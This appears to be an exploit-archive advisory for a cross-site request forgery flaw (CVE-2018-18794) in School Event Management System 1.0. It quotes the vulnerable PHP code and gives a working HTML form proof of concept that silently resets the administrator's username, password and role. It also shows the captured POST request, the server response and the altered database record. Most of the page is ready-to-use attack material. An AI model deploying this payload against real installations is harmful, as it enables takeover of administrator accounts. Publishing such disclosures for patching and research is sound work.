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School Event Management System 1.0 Cross Site Request Forgery

School Event Management System 1.0 Cross Site Request Forgery
Posted Oct 29, 2018
Authored by Ihsan Sencan

School Event Management System version 1.0 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
advisories | CVE-2018-18794
MD5 | cb6f22ff35678ca0af3eeefc5d7c827c

School Event Management System 1.0 Cross Site Request Forgery

Change Mirror Download
# Exploit Title: School Event Management System 1.0 - Cross-Site Request Forgery (Update Admin)
# Dork: N/A
# Date: 2018-10-29
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.sourcecodester.com/users/janobe
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/sems_1.zip
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-18794

# POC:
# 1)
# .../[PATH]user/user/edit.php
#02 if (!isset($_SESSION['ACCOUNT_ID'])){
#03 redirect(web_root."index.php");
#04 }
#05
#06 @$USERID = $_GET['id'];
#07 if($USERID==''){
#08 redirect("index.php");
#09 }
#10 $user = New User();
#11 $singleuser = $user->single_user($USERID);
# .../[PATH]user/controller.php
#80 $user = New User();
#81 $user->ACCOUNT_NAME = $_POST['U_NAME'];
#82 $user->ACCOUNT_USERNAME = $_POST['U_USERNAME'];
#83 $user->ACCOUNT_PASSWORD =sha1($_POST['U_PASS']);
#84 $user->ACCOUNT_TYPE = $_POST['U_ROLE'];
#85 $user->update($_POST['USERID']);
#86
#87 message("[". $_POST['U_NAME'] ."] has been updated!", "success");
#88 redirect("index.php");
# ...
<html>
<body>
<form action="http://localhost/[PATH]/user/controller.php?action=edit" method="POST">
<input id="USERID" name="USERID" placeholder="Account Id" type="Hidden" value="1">
<input name="U_NAME" placeholder="Account Name" type="text" value="admin">

<input name="deptid" type="hidden" value="">
<input name="U_USERNAME" placeholder="Username" type="text" value="admin">

<input name="deptid" type="hidden" value="">
<input name="U_PASS" placeholder="Account Password" type="Password" value="">
<input name="deptid" type="hidden" value="">
<input id="RU_PASS" name="RU_PASS" placeholder="Re-type Password" type="Password" value="">

<select name="U_ROLE" id="U_ROLE">
<option value="Administrator">Administrator</option>
<option value="SSG">SSG</option>
</select>
<button id="save" name="save" type="submit">Save</button>
</body>
</html>

POST /[PATH]/user/controller.php?action=edit HTTP/1.1
Host: 192.168.1.27
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=mrht5eahsjgrpgldk6c455ncm3
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
USERID=1&U_NAME=admin_test&deptid=&U_USERNAME=admin_test&deptid=&U_PASS=admin_test&deptid=&RU_PASS=admin_test&U_ROLE=Administrator&save=
HTTP/1.1 200 OK
Date: Sun, 28 Oct 2018 17:57:48 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 128
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

/* `exploitdb`.`useraccounts` */
$useraccounts = array(
array('ACCOUNT_ID' => '1','ACCOUNT_NAME' => 'admin_test','ACCOUNT_USERNAME' => 'admin_test','ACCOUNT_PASSWORD' => '3f72bcb53fb301af20d78d152456d901c30a43b3','ACCOUNT_TYPE' => 'Administrator','EMPID' => '1234','USERIMAGE' => 'photos/import2.png')
);

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